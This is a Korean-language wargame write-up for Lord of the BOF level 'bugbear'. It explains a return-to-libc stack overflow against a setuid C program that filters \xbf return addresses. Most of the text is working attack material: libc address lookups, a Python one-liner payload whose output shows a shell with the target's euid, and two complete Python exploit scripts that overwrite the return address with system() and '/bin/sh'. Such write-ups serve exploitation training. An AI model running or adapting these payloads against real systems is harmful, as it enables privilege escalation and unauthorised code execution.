[LOB]Level13. bugbear

 

RTL : Return To Library

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

0x01. Analysis

분기문을 통해 RET 부분에 덮여씌워지는 주소 앞주소\xbf를 필터링 한다.

즉, \xbf로 시작하는 주소를 리턴 주소로 할 수 없다. 그래서 생각나는 기법이라이브러리 함수를 사용하는 RTL(Return To Library)기법이다.

payload 시나리오 :

“A”44+”&system()”+”A”4+”&[“/bin/sh”]

[darkknight@localhost darkknight]$ ldd bugbear
	libc.so.6 => /lib/libc.so.6 (0x40018000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
	
[darkknight@localhost darkknight]$ strings -tx /lib/libc.so.6 | grep "/bin/sh"
  e3ff9 /bin/sh
  e6587 /bin/sh
  e6595 /bin/sh
  e796a /bin/sh
  e81c7 /bin/sh
  e8778 /bin/sh

&system : 0x40058ae0

&”/bin/sh” : 0x400fbff9


0x02. Exploit

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@AAAA�@
bash$ my-pass
euid = 513
new divide
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

import struct
import os

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/darkknight/bugbear"

system = 0x40058ae0
libc_addr = 0x40018000
bin_sh_offset = 0xe3ff9

payload = "\x90"*44
payload = append(p32(system))
payload = append("\x90"*4)
payload = append(p32(libc_addr + bin_sh_offset))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)
import struct
import os

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/darkknight/bugbear"

system = 0x40058ae0
libc_addr = 0x40018000
bin_sh_offset = 0xe3ff9
exit = 0x400391e0

payload = "\x90"*44
payload = append(p32(system))
payload = append(p32(exit))
payload = append(p32(libc_addr + bin_sh_offset))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)